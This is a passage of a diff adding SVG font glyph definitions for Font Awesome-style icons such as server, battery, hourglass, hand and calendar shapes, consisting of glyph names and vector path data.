-80 80s-80 -35.9004 -80 -80s35.9004 -80 80 -80z" /> + <glyph glyph-name="genderless" unicode="" horiz-adv-x="288" +d="M144 272c-44.0996 0 -80 -35.9004 -80 -80s35.9004 -80 80 -80s80 35.9004 80 80s-35.9004 80 -80 80zM144 336c79.5 0 144 -64.5 144 -144s-64.5 -144 -144 -144s-144 64.5 -144 144s64.5 144 144 144z" /> + <glyph glyph-name="server" unicode="" +d="M480 288h-448c-17.6729 0 -32 14.3271 -32 32v64c0 17.6729 14.3271 32 32 32h448c17.6729 0 32 -14.3271 32 -32v-64c0 -17.6729 -14.3271 -32 -32 -32zM432 376c-13.2549 0 -24 -10.7451 -24 -24s10.7451 -24 24 -24s24 10.7451 24 24s-10.7451 24 -24 24zM368 376 +c-13.2549 0 -24 -10.7451 -24 -24s10.7451 -24 24 -24s24 10.7451 24 24s-10.7451 24 -24 24zM480 128h-448c-17.6729 0 -32 14.3271 -32 32v64c0 17.6729 14.3271 32 32 32h448c17.6729 0 32 -14.3271 32 -32v-64c0 -17.6729 -14.3271 -32 -32 -32zM432 216 +c-13.2549 0 -24 -10.7451 -24 -24s10.7451 -24 24 -24s24 10.7451 24 24s-10.7451 24 -24 24zM368 216c-13.2549 0 -24 -10.7451 -24 -24s10.7451 -24 24 -24s24 10.7451 24 24s-10.7451 24 -24 24zM480 -32h-448c-17.6729 0 -32 14.3271 -32 32v64 +c0 17.6729 14.3271 32 32 32h448c17.6729 0 32 -14.3271 32 -32v-64c0 -17.6729 -14.3271 -32 -32 -32zM432 56c-13.2549 0 -24 -10.7451 -24 -24s10.7451 -24 24 -24s24 10.7451 24 24s-10.7451 24 -24 24zM368 56c-13.2549 0 -24 -10.7451 -24 -24s10.7451 -24 24 -24 +s24 10.7451 24 24s-10.7451 24 -24 24z" /> + <glyph glyph-name="user-plus" unicode="" horiz-adv-x="640" +d="M624 240c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-64v-64c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v64h-64c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h64v64c0 8.7998 7.2002 16 16 16h32 +c8.7998 0 16 -7.2002 16 -16v-64h64zM224 192c-70.7002 0 -128 57.2998 -128 128s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128zM313.6 160c74.2002 0 134.4 -60.2002 134.4 -134.4v-41.5996c0 -26.5 -21.5 -48 -48 -48h-352 +c-26.5 0 -48 21.5 -48 48v41.5996c0 74.2002 60.2002 134.4 134.4 134.4h16.6992c22.3008 -10.2002 46.9004 -16 72.9004 -16s50.7002 5.7998 72.9004 16h16.6992z" /> + <glyph glyph-name="user-times" unicode="" horiz-adv-x="640" +d="M589.6 208l45.6006 -45.5996c6.2998 -6.30078 6.2998 -16.5 0 -22.8008l-22.7998 -22.7998c-6.30078 -6.2998 -16.5 -6.2998 -22.8008 0l-45.5996 45.6006l-45.5996 -45.6006c-6.30078 -6.2998 -16.5 -6.2998 -22.8008 0l-22.7998 22.7998 +c-6.2998 6.30078 -6.2998 16.5 0 22.8008l45.6006 45.5996l-45.6006 45.5996c-6.2998 6.30078 -6.2998 16.5 0 22.8008l22.7998 22.7998c6.30078 6.2998 16.5 6.2998 22.8008 0l45.5996 -45.6006l45.5996 45.6006c6.30078 6.2998 16.5 6.2998 22.8008 0l22.7998 -22.7998 +c6.2998 -6.30078 6.2998 -16.5 0 -22.8008zM224 192c-70.7002 0 -128 57.2998 -128 128s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128zM313.6 160c74.2002 0 134.4 -60.2002 134.4 -134.4v-41.5996c0 -26.5 -21.5 -48 -48 -48h-352 +c-26.5 0 -48 21.5 -48 48v41.5996c0 74.2002 60.2002 134.4 134.4 134.4h16.6992c22.3008 -10.2002 46.9004 -16 72.9004 -16s50.7002 5.7998 72.9004 16h16.6992z" /> + <glyph glyph-name="bed" unicode="" horiz-adv-x="640" +d="M176 192c-44.1104 0 -80 35.8896 -80 80s35.8896 80 80 80s80 -35.8896 80 -80s-35.8896 -80 -80 -80zM528 320c61.8604 0 112 -50.1396 112 -112v-192c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v48h-512v-48c0 -8.83984 -7.16016 -16 -16 -16 +h-32c-8.83984 0 -16 7.16016 -16 16v352c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-208h224v144c0 8.83984 7.16016 16 16 16h224z" /> + <glyph glyph-name="train" unicode="" horiz-adv-x="448" +d="M448 352v-256c0 -51.8154 -61.624 -96 -130.022 -96l62.9805 -49.7207c5.94727 -4.69629 2.60352 -14.2793 -4.95801 -14.2793h-304c-7.57812 0 -10.8916 9.59375 -4.95703 14.2793l62.9795 49.7207c-68.2021 0 -130.022 44.0459 -130.022 96v256c0 53.0186 64 96 128 96 +h192c65 0 128 -42.9814 128 -96zM400 216v112c0 13.2549 -10.7451 24 -24 24h-304c-13.2549 0 -24 -10.7451 -24 -24v-112c0 -13.2549 10.7451 -24 24 -24h304c13.2549 0 24 10.7451 24 24zM224 152c-30.9277 0 -56 -25.0723 -56 -56s25.0723 -56 56 -56s56 25.0723 56 56 +s-25.0723 56 -56 56z" /> + <glyph glyph-name="subway" unicode="" horiz-adv-x="448" +d="M448 352v-256c0 -51.8154 -61.624 -96 -130.022 -96l62.9805 -49.7207c5.94727 -4.69629 2.60352 -14.2793 -4.95801 -14.2793h-304c-7.57812 0 -10.8916 9.59375 -4.95703 14.2793l62.9795 49.7207c-68.2021 0 -130.022 44.0459 -130.022 96v256c0 53.0186 64 96 128 96 +h192c65 0 128 -42.9814 128 -96zM200 216v112c0 13.2549 -10.7451 24 -24 24h-104c-13.2549 0 -24 -10.7451 -24 -24v-112c0 -13.2549 10.7451 -24 24 -24h104c13.2549 0 24 10.7451 24 24zM400 216v112c0 13.2549 -10.7451 24 -24 24h-104c-13.2549 0 -24 -10.7451 -24 -24 +v-112c0 -13.2549 10.7451 -24 24 -24h104c13.2549 0 24 10.7451 24 24zM352 160c-26.5098 0 -48 -21.4902 -48 -48s21.4902 -48 48 -48s48 21.4902 48 48s-21.4902 48 -48 48zM96 160c-26.5098 0 -48 -21.4902 -48 -48s21.4902 -48 48 -48s48 21.4902 48 48 +s-21.4902 48 -48 48z" /> + <glyph glyph-name="battery-full" unicode="" horiz-adv-x="640" +d="M544 288h-480v-192h480v64h32v64h-32v64zM560 352c26.5098 0 48 -21.4902 48 -48v-16h8c13.2549 0 24 -10.7451 24 -24v-144c0 -13.2549 -10.7451 -24 -24 -24h-8v-16c0 -26.5098 -21.4902 -48 -48 -48h-512c-26.5098 0 -48 21.4902 -48 48v224 +c0 26.5098 21.4902 48 48 48h512zM512 256v-128h-416v128h416z" /> + <glyph glyph-name="battery-three-quarters" unicode="" horiz-adv-x="640" +d="M544 288h-480v-192h480v64h32v64h-32v64zM560 352c26.5098 0 48 -21.4902 48 -48v-16h8c13.2549 0 24 -10.7451 24 -24v-144c0 -13.2549 -10.7451 -24 -24 -24h-8v-16c0 -26.5098 -21.4902 -48 -48 -48h-512c-26.5098 0 -48 21.4902 -48 48v224 +c0 26.5098 21.4902 48 48 48h512zM416 256v-128h-320v128h320z" /> + <glyph glyph-name="battery-half" unicode="" horiz-adv-x="640" +d="M544 288h-480v-192h480v64h32v64h-32v64zM560 352c26.5098 0 48 -21.4902 48 -48v-16h8c13.2549 0 24 -10.7451 24 -24v-144c0 -13.2549 -10.7451 -24 -24 -24h-8v-16c0 -26.5098 -21.4902 -48 -48 -48h-512c-26.5098 0 -48 21.4902 -48 48v224 +c0 26.5098 21.4902 48 48 48h512zM320 256v-128h-224v128h224z" /> + <glyph glyph-name="battery-quarter" unicode="" horiz-adv-x="640" +d="M544 288h-480v-192h480v64h32v64h-32v64zM560 352c26.5098 0 48 -21.4902 48 -48v-16h8c13.2549 0 24 -10.7451 24 -24v-144c0 -13.2549 -10.7451 -24 -24 -24h-8v-16c0 -26.5098 -21.4902 -48 -48 -48h-512c-26.5098 0 -48 21.4902 -48 48v224 +c0 26.5098 21.4902 48 48 48h512zM224 256v-128h-128v128h128z" /> + <glyph glyph-name="battery-empty" unicode="" horiz-adv-x="640" +d="M544 288h-480v-192h480v64h32v64h-32v64zM560 352c26.5098 0 48 -21.4902 48 -48v-16h8c13.2549 0 24 -10.7451 24 -24v-144c0 -13.2549 -10.7451 -24 -24 -24h-8v-16c0 -26.5098 -21.4902 -48 -48 -48h-512c-26.5098 0 -48 21.4902 -48 48v224 +c0 26.5098 21.4902 48 48 48h512z" /> + <glyph glyph-name="mouse-pointer" unicode="" horiz-adv-x="320" +d="M302.189 118.874h-106.084l55.8301 -135.993c3.88965 -9.42773 -0.554688 -19.999 -9.44336 -23.999l-49.165 -21.4268c-9.16504 -4 -19.4434 0.571289 -23.332 9.71387l-53.0527 129.136l-86.6641 -89.1377c-11.5498 -11.877 -30.2783 -2.7207 -30.2783 12.8564v429.678 +c0 16.3994 19.9209 24.3945 30.2773 12.8555l284.412 -292.542c11.4717 -11.1787 3.00684 -31.1406 -12.5 -31.1406z" /> + <glyph glyph-name="i-cursor" unicode="" horiz-adv-x="256" +d="M256 395.952c0 -6.64648 -5.4043 -12.0098 -12.0498 -11.9922c-27.875 0.0712891 -83.9502 -3.20996 -83.9502 -48.1416v-111.818h36c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-36v-112c0 -44.9395 57.8887 -48.5527 83.8555 -48.2422 +c6.68652 0.0800781 12.1445 -5.31055 12.1445 -11.998v-39.6445c0 -6.5957 -5.31836 -11.957 -11.9131 -12c-35.0654 -0.228516 -78.3525 0.62207 -116.087 37.8447c-38.4688 -37.9482 -83.6211 -38.3027 -116.158 -37.8936 +c-6.56738 0.0820312 -11.8418 5.42969 -11.8418 11.999v39.9824c0 6.64648 5.4043 12.0098 12.0498 11.9932c27.875 -0.0722656 83.9502 3.02734 83.9502 47.959v112h-36c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h36v111.818 +c0 44.9385 -57.8887 48.7344 -83.8555 48.4248c-6.68652 -0.0800781 -12.1445 5.31055 -12.1445 11.998v39.6445c0 6.5957 5.31836 11.957 11.9131 12c35.0654 0.228516 78.3525 -0.62207 116.087 -37.8447c38.4688 37.9482 83.6211 38.3027 116.158 37.8926 +c6.56738 -0.0820312 11.8418 -5.42969 11.8418 -11.999v-39.9824z" /> + <glyph glyph-name="object-group" unicode="" +d="M480 320v-288h20c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v20h-384v-20c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h20v320h-20 +c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-20h384v20c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-20v-32zM96 172c0 -6.62695 5.37305 -12 12 -12h168 +c6.62695 0 12 5.37305 12 12v136c0 6.62695 -5.37305 12 -12 12h-168c-6.62695 0 -12 -5.37305 -12 -12v-136zM416 76v136c0 6.62695 -5.37305 12 -12 12h-84v-72c0 -13.2549 -10.7451 -24 -24 -24h-72v-52c0 -6.62695 5.37305 -12 12 -12h168c6.62695 0 12 5.37305 12 12z +" /> + <glyph glyph-name="object-ungroup" unicode="" horiz-adv-x="576" +d="M64 128v-26c0 -3.31152 -2.68848 -6 -6 -6h-52c-3.31152 0 -6 2.68848 -6 6v52c0 3.31152 2.68848 6 6 6h26v192h-26c-3.31152 0 -6 2.68848 -6 6v52c0 3.31152 2.68848 6 6 6h52c3.31152 0 6 -2.68848 6 -6v-26h288v26c0 3.31152 2.68848 6 6 6h52 +c3.31152 0 6 -2.68848 6 -6v-52c0 -3.31152 -2.68848 -6 -6 -6h-26v-192h26c3.31152 0 6 -2.68848 6 -6v-52c0 -3.31152 -2.68848 -6 -6 -6h-52c-3.31152 0 -6 2.68848 -6 6v26h-288zM544 192v-160h26c3.31152 0 6 -2.68848 6 -6v-52c0 -3.31152 -2.68848 -6 -6 -6h-52 +c-3.31152 0 -6 2.68848 -6 6v26h-288v-26c0 -3.31152 -2.68848 -6 -6 -6h-52c-3.31152 0 -6 2.68848 -6 6v52c0 3.31152 2.68848 6 6 6h26v72h136v-8c0 -13.2549 10.7451 -24 24 -24h64c13.2549 0 24 10.7451 24 24v64c0 13.2549 -10.7451 24 -24 24h-8v72h104v26 +c0 3.31152 2.68848 6 6 6h52c3.31152 0 6 -2.68848 6 -6v-52c0 -3.31152 -2.68848 -6 -6 -6h-26v-32z" /> + <glyph glyph-name="sticky-note" unicode="" horiz-adv-x="448" +d="M312 128c-13.2002 0 -24 -10.7998 -24 -24v-136h-264c-13.2998 0 -24 10.7002 -24 24v400c0 13.2998 10.7002 24 24 24h400c13.2998 0 24 -10.7002 24 -24v-264h-136zM441 73l-98 -98c-4.5 -4.5 -10.5996 -7 -17 -7h-6v128h128v-6.09961 +c0 -6.30078 -2.5 -12.4004 -7 -16.9004z" /> + <glyph glyph-name="clone" unicode="" +d="M464 448c26.5098 0 48 -21.4902 48 -48v-288c0 -26.5098 -21.4902 -48 -48 -48h-288c-26.5098 0 -48 21.4902 -48 48v288c0 26.5098 21.4902 48 48 48h288zM176 32h208v-48c0 -26.5098 -21.4902 -48 -48 -48h-288c-26.5098 0 -48 21.4902 -48 48v288 +c0 26.5098 21.4902 48 48 48h48v-208c0 -44.1123 35.8877 -80 80 -80z" /> + <glyph glyph-name="balance-scale" unicode="" horiz-adv-x="640" +d="M256 112c0 -44.1797 -57.3096 -80 -128 -80s-128 35.8203 -128 80h0.0195312c0 15.6699 -2.0791 7.25 85.04 181.51c17.6807 35.3604 68.2207 35.29 85.8701 0c86.3906 -172.779 85.0508 -165.33 85.0508 -181.51h0.0195312zM128 272l-72 -144h144zM639.98 112 +c0 -44.1797 -57.29 -80 -127.98 -80s-128 35.8203 -128 80h0.0195312c0 15.6699 -2.0791 7.25 85.04 181.51c17.6807 35.3604 68.2207 35.29 85.8701 0c86.3906 -172.779 85.0508 -165.33 85.0508 -181.51zM440 128h144l-72 144zM528 0c8.83984 0 16 -7.16016 16 -16v-32 +c0 -8.83984 -7.16016 -16 -16 -16h-416c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h176v294.75c-23.5195 10.29 -41.1602 31.4902 -46.3896 57.25h-129.61c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h144.36 +c14.5996 19.3203 37.5498 32 63.6396 32s49.04 -12.6797 63.6396 -32h144.36c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-129.61c-5.22949 -25.7695 -22.8799 -46.96 -46.3896 -57.25v-294.75h176z" /> + <glyph glyph-name="hourglass-start" unicode="" horiz-adv-x="384" +d="M360 448c13.2549 0 24 -10.7451 24 -24v-16c0 -13.2549 -10.7451 -24 -24 -24c0 -90.9648 -51.0156 -167.734 -120.842 -192c69.8262 -24.2656 120.842 -101.035 120.842 -192c13.2549 0 24 -10.7451 24 -24v-16c0 -13.2549 -10.7451 -24 -24 -24h-336 +c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24c0 90.9648 51.0156 167.734 120.842 192c-69.8262 24.2656 -120.842 101.035 -120.842 192c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24h336zM296 0c0 77.4834 -46.2139 144 -104 144 +c-57.7959 0 -104 -66.542 -104 -144h208z" /> + <glyph glyph-name="hourglass-half" unicode="" horiz-adv-x="384" +d="M360 448c13.2549 0 24 -10.7451 24 -24v-16c0 -13.2549 -10.7451 -24 -24 -24c0 -90.9648 -51.0156 -167.734 -120.842 -192c69.8262 -24.2656 120.842 -101.035 120.842 -192c13.2549 0 24 -10.7451 24 -24v-16c0 -13.2549 -10.7451 -24 -24 -24h-336 +c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24c0 90.9648 51.0156 167.734 120.842 192c-69.8262 24.2656 -120.842 101.035 -120.842 192c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24h336zM284.922 64 +c-17.0596 46.8037 -52.1006 80 -92.9219 80c-40.8242 0 -75.8613 -33.2031 -92.9199 -80h185.842zM284.941 320c7.07129 19.4131 11.0586 41.1953 11.0586 64h-208c0 -22.748 3.98828 -44.5479 11.0781 -64h185.863z" /> + <glyph glyph-name="hourglass-end" unicode="" horiz-adv-x="384" +d="M360 384c0 -90.9648 -51.0156 -167.734 -120.842 -192c69.8262 -24.2656 120.842 -101.035 120.842 -192c13.2549 0 24 -10.7451 24 -24v-16c0 -13.2549 -10.7451 -24 -24 -24h-336c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24 +c0 90.9648 51.0156 167.734 120.842 192c-69.8262 24.2656 -120.842 101.035 -120.842 192c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24h336c13.2549 0 24 -10.7451 24 -24v-16c0 -13.2549 -10.7451 -24 -24 -24zM192 240c57.4902 0 104 66.0547 104 144 +h-208c0 -77.4824 46.2129 -144 104 -144z" /> + <glyph glyph-name="hourglass" unicode="" horiz-adv-x="384" +d="M360 384c0 -90.9648 -51.0156 -167.734 -120.842 -192c69.8262 -24.2656 120.842 -101.035 120.842 -192c13.2549 0 24 -10.7451 24 -24v-16c0 -13.2549 -10.7451 -24 -24 -24h-336c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24 +c0 90.9648 51.0156 167.734 120.842 192c-69.8262 24.2656 -120.842 101.035 -120.842 192c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24h336c13.2549 0 24 -10.7451 24 -24v-16c0 -13.2549 -10.7451 -24 -24 -24z" /> + <glyph glyph-name="hand-rock" unicode="" +d="M464.8 368c26.2998 -0.400391 47.2002 -22.5 47.2002 -48.7998v-133.5c0 -12.7998 -2.5 -25.5 -7.5 -37.2998l-49 -116.301c-4.90039 -11.7998 -7.5 -24.5 -7.5 -37.2998v-2.89941c0 -13.3008 -10.7002 -24 -24 -24h-240c-13.2998 0 -24 10.6992 -24 24v6.69922 +c0 13.7002 -5.90039 26.8008 -16.0996 35.9004l-111.7 99.2998c-20.5 18.2998 -32.2002 44.4004 -32.2002 71.7998v66.4004c0 26.7998 21.9004 48.4004 48.7998 48c26.2998 -0.5 47.2002 -22.5 47.2002 -48.7998v-48.1006l8 -7.09961v136 +c0 26.7998 21.9004 48.4004 48.7998 48c26.2998 -0.5 47.2002 -22.5 47.2002 -48.7998v-31.2002h8v48c0 26.7998 21.9004 48.4004 48.7998 48c26.2998 -0.5 47.2002 -22.5 47.2002 -48.7998v-47.2002h8v32c0 26.7998 21.9004 48.4004 48.7998 48 +c26.2998 -0.5 47.2002 -22.5 47.2002 -48.7998v-31.2002h8c0 26.7998 21.9004 48.4004 48.7998 48z" /> + <glyph glyph-name="hand-paper" unicode="" horiz-adv-x="448" +d="M408.781 319.993c21.7305 -0.416016 39.2188 -18.1621 39.2178 -39.9932v-150.359c0 -15.166 -1.77344 -29.8193 -5.10449 -43.9746l-26.5078 -112.66c-5.10156 -21.6816 -24.4502 -37.0059 -46.7236 -37.0059h-197.59c-15.9629 0 -30.0908 7.76562 -38.8193 19.7676 +l-125.601 172.705c-12.9932 17.8672 -9.04297 42.8838 8.82129 55.877c17.8682 12.9941 42.8848 9.04297 55.877 -8.82227l31.6484 -43.5195v235.992c0 21.8311 17.4883 39.5771 39.2188 39.9932c22.4248 0.428711 40.7812 -18.3535 40.7812 -40.7832v-175.21h8v216 +c0 21.8311 17.4883 39.5771 39.2188 39.9932c22.4248 0.428711 40.7812 -18.3535 40.7812 -40.7832v-215.21h8v177c0 21.8311 17.4883 39.5771 39.2188 39.9932c22.4248 0.428711 40.7812 -18.3535 40.7812 -40.7832v-176.21h8v87.21 +c0 22.4297 18.3564 41.2119 40.7812 40.7832z" /> + <glyph glyph-name="hand-scissors" unicode="" +d="M216 8c0 22.0918 17.9092 40 40 40v8h-32c-22.0908 0 -40 17.9082 -40 40s17.9092 40 40 40h32v8h-208c-26.5098 0 -48 21.4902 -48 48s21.4902 48 48 48h208v13.5723l-177.551 69.7393c-24.6738 9.69434 -36.8184 37.5557 -27.125 62.2285 +c9.69238 24.6738 37.5537 36.8174 62.2275 27.124l190.342 -74.7646l24.8721 31.0898c12.3066 15.3809 33.9785 19.5146 51.0811 9.74121l112 -64c12.0605 -6.89355 20.1533 -19.8564 20.1533 -34.7305v-240c0 -18.5615 -12.7695 -34.6855 -30.8379 -38.9365l-136 -32 +c-2.94824 -0.694336 -6.00391 -1.06348 -9.16211 -1.06348h-80c-22.0908 0 -40 17.9082 -40 40z" /> + <glyph glyph-name="hand-lizard" unicode="" horiz-adv-x="576" +d="M384 -32v61.4609c0 8.5332 -4.4375 16.0166 -11.1543 20.2734l-111.748 70.8105c-7.41895 4.70215 -16.2656 7.45508 -25.6914 7.45508h-147.406c-13.2549 0 -24 10.7451 -24 24v8c0 35.3457 28.6543 64 64 64h123.648c13.3086 0 24.7158 8.12109 29.5371 19.6924 +l21.4102 51.3848c4.94141 11.8555 -3.77051 24.9229 -16.6143 24.9229h-229.981c-30.9277 0 -56 25.0723 -56 56v16c0 13.2549 10.7451 24 24 24h333.544c17.0908 0 32.0781 -8.90137 40.583 -22.3682l163.04 -258.146c9.35645 -14.8145 14.833 -32.4619 14.833 -51.2637 +v-116.222h-192z" /> + <glyph glyph-name="hand-spock" unicode="" +d="M510.9 302.729l-68.2969 -286.823c-10.8975 -45.7705 -52.0801 -79.9062 -101.166 -79.9062h-127.363c-36.0293 0 -68.8447 14.0459 -93.1855 36.9531l-108.298 101.92c-7.72754 7.29297 -12.5537 17.6299 -12.5537 29.084c0 22.0723 17.9199 39.9922 39.9922 39.9922 +c10.5742 0 20.2188 -4.11426 27.374 -10.8262l60.5928 -57.0254v0c0 27.958 -4.1084 54.9473 -11.6699 80.4668l-42.6885 144.075c-1.06738 3.60254 -1.63965 7.41699 -1.63965 11.3633c0 22.0801 17.9258 40.0059 40.0049 40.0059 +c18.1338 0 33.4512 -12.0977 38.3525 -28.6504l37.1543 -125.395c1.02148 -3.44629 4.21387 -5.96387 7.99023 -5.96387c4.59766 0 8.33105 3.7334 8.33105 8.33105c0 0.717773 -0.09375 1.41016 -0.264648 2.07422l-50.3047 195.641 +c-0.821289 3.19238 -1.25879 6.53711 -1.25879 9.98438c0 22.0742 17.9219 39.9961 39.9971 39.9961c18.6279 0 34.291 -12.793 38.7305 -30.043l56.0947 -218.158c1.15527 -4.49512 5.23926 -7.82129 10.0928 -7.82129c5.03125 0 9.23438 3.57715 10.207 8.32227 +l37.6826 183.704c3.76074 18.2139 19.9043 31.9248 39.2256 31.9248c4.20703 0 8.26562 -0.629883 12.0771 -1.83496c19.8604 -6.2998 30.8623 -27.6738 26.6758 -48.085l-33.8389 -164.967c-0.101562 -0.492188 -0.154297 -1.00098 -0.154297 -1.52344 +c0 -4.16797 3.38379 -7.55176 7.55176 -7.55176c3.56445 0 6.55566 2.48535 7.34668 5.80859l29.3975 123.459c4.19141 17.6016 20.0312 30.708 38.9082 30.708c22.0732 0 39.9941 -17.9209 39.9941 -39.9941c0 -3.19727 -0.380859 -6.26465 -1.09082 -9.24512v0z" /> + <glyph glyph-name="hand-pointer" unicode="" horiz-adv-x="448" +d="M448 208v-96c0 -3.08398 -0.356445 -6.15918 -1.06348 -9.16211l-32 -136c-4.25098 -18.0684 -20.375 -30.8379 -38.9365 -30.8379h-208c-13.3018 0 -25.0752 6.47168 -32.3496 16.4727l-127.997 176c-12.9932 17.8662 -9.04297 42.8838 8.82129 55.876 +c17.8672 12.9941 42.8848 9.04297 55.877 -8.82227l31.6484 -43.5186v275.992c0 22.0908 17.9082 40 40 40s40 -17.9092 40 -40v-200h8v40c0 22.0908 17.9082 40 40 40s40 -17.9092 40 -40v-40h8v24c0 22.0908 17.9082 40 40 40s40 -17.9092 40 -40v-24h8 +c0 22.0908 17.9082 40 40 40s40 -17.9092 40 -40zM192 128h-8v-96h8v96zM280 128h-8v-96h8v96zM368 128h-8v-96h8v96z" /> + <glyph glyph-name="hand-peace" unicode="" horiz-adv-x="448" +d="M408 232c22.0918 0 40 -17.9092 40 -40v-80c0 -3.1582 -0.369141 -6.21484 -1.06348 -9.16211l-32 -136c-4.25098 -18.0684 -20.375 -30.8379 -38.9365 -30.8379h-240c-14.874 0 -27.8379 8.09375 -34.7285 20.1543l-64 112 +c-9.77441 17.1025 -5.64062 38.7744 9.74023 51.0811l31.0898 24.8721l-74.7646 190.342c-9.69336 24.6738 2.4502 52.5342 27.124 62.2266c24.6729 9.69434 52.5332 -2.4502 62.2275 -27.125l69.7393 -177.551h13.5723v208c0 26.5098 21.4902 48 48 48s48 -21.4902 48 -48 +v-208h8v32c0 22.0908 17.9082 40 40 40s40 -17.9092 40 -40v-32h8c0 22.0908 17.9082 40 40 40z" /> + <glyph glyph-name="trademark" unicode="" horiz-adv-x="640" +d="M260.6 352c6.60059 0 12 -5.40039 11.9004 -12v-43.0996c0 -6.60059 -5.40039 -12 -12 -12h-85.0996v-240.9c0 -6.59961 -5.40039 -12 -12 -12h-54.3008c-6.59961 0 -12 5.40039 -12 12v240.9h-85.0996c-6.59961 0 -12 5.39941 -12 12v43.0996 +c0 6.59961 5.40039 12 12 12h248.6zM640 45c0.5 -7 -5 -13 -12 -13h-53.9004c-6.2998 0 -11.5996 4.90039 -12 11.2002l-9.09961 132.899c-1.7998 24.2002 0 53.7002 0 53.7002h-0.900391s-10.6992 -33.5996 -17.8994 -53.7002l-30.7002 -84.6992 +c-1.7002 -4.7002 -6.2002 -7.90039 -11.2998 -7.90039h-50.2998c-5.10059 0 -9.60059 3.2002 -11.3008 7.90039l-30.6992 84.6992c-7.2002 20.1006 -17.9004 53.7002 -17.9004 53.7002h-0.900391s1.80078 -29.5 0 -53.7002l-9.09961 -132.899 +c-0.5 -6.2998 -5.7002 -11.2002 -12 -11.2002h-54.5c-7.09961 0 -12.5996 6 -12 13l24.4004 296c0.599609 6.2002 5.7998 11 12 11h65.3994c5.10059 0 9.60059 -3.2998 11.2998 -8.09961l43.8008 -127.101c7.19922 -20.5996 16.0996 -52.7998 16.0996 -52.7998h0.900391 +s8.89941 32.2002 16.0996 52.7998l43.7998 127.101c1.60059 4.7998 6.2002 8.09961 11.2998 8.09961h65.4004c6.2998 0 11.5 -4.7998 12 -11z" /> + <glyph glyph-name="registered" unicode="" +d="M285.363 240.525c0 -18.6006 -9.83105 -28.4316 -28.4316 -28.4316h-29.876v56.1406h23.3779c28.668 0 34.9297 -8.77344 34.9297 -27.709zM504 192c0 -136.967 -111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248s248 -111.033 248 -248z +M363.411 87.5859c-46.7295 84.8252 -43.2988 78.6357 -44.7021 80.9805c23.4316 15.1719 37.9453 42.9785 37.9453 74.4854c0 54.2441 -31.5 89.252 -105.498 89.252h-70.667c-13.2549 0 -24 -10.7451 -24 -24v-232.304c0 -13.2549 10.7451 -24 24 -24h22.5664 +c13.2549 0 24 10.7451 24 24v71.6631h25.5566l44.1289 -82.9375c4.03516 -7.58301 12.0049 -12.7266 21.1875 -12.7266h24.4639c18.2617 0.000976562 29.8291 19.5908 21.0186 35.5869z" /> + <glyph glyph-name="tv" unicode="" horiz-adv-x="640" +d="M592 448c26.4922 0 48 -21.5078 48 -48v-320c0 -26.4922 -21.5078 -48 -48 -48h-240v-32h176c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-416c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h176v32h-240 +c-26.4922 0 -48 21.5078 -48 48v320c0 26.4922 21.5078 48 48 48h544zM576 96v288h-512v-288h512z" /> + <glyph glyph-name="calendar-plus" unicode="" horiz-adv-x="448" +d="M436 288h-424c-6.59961 0 -12 5.40039 -12 12v36c0 26.5 21.5 48 48 48h48v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h128v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h48c26.5 0 48 -21.5 48 -48v-36 +c0 -6.59961 -5.40039 -12 -12 -12zM12 256h424c6.59961 0 12 -5.40039 12 -12v-260c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v260c0 6.59961 5.40039 12 12 12zM328 116c0 6.59961 -5.40039 12 -12 12h-60v60c0 6.59961 -5.40039 12 -12 12h-40 +c-6.59961 0 -12 -5.40039 -12 -12v-60h-60c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h60v-60c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12v60h60c6.59961 0 12 5.40039 12 12v40z" /> + <glyph glyph-name="calendar-minus" unicode="" horiz-adv-x="448" +d="M436 288h-424c-6.59961 0 -12 5.40039 -12 12v36c0 26.5 21.5 48 48 48h48v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h128v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h48c26.5 0 48 -21.5 48 -48v-36 +c0 -6.59961 -5.40039 -12 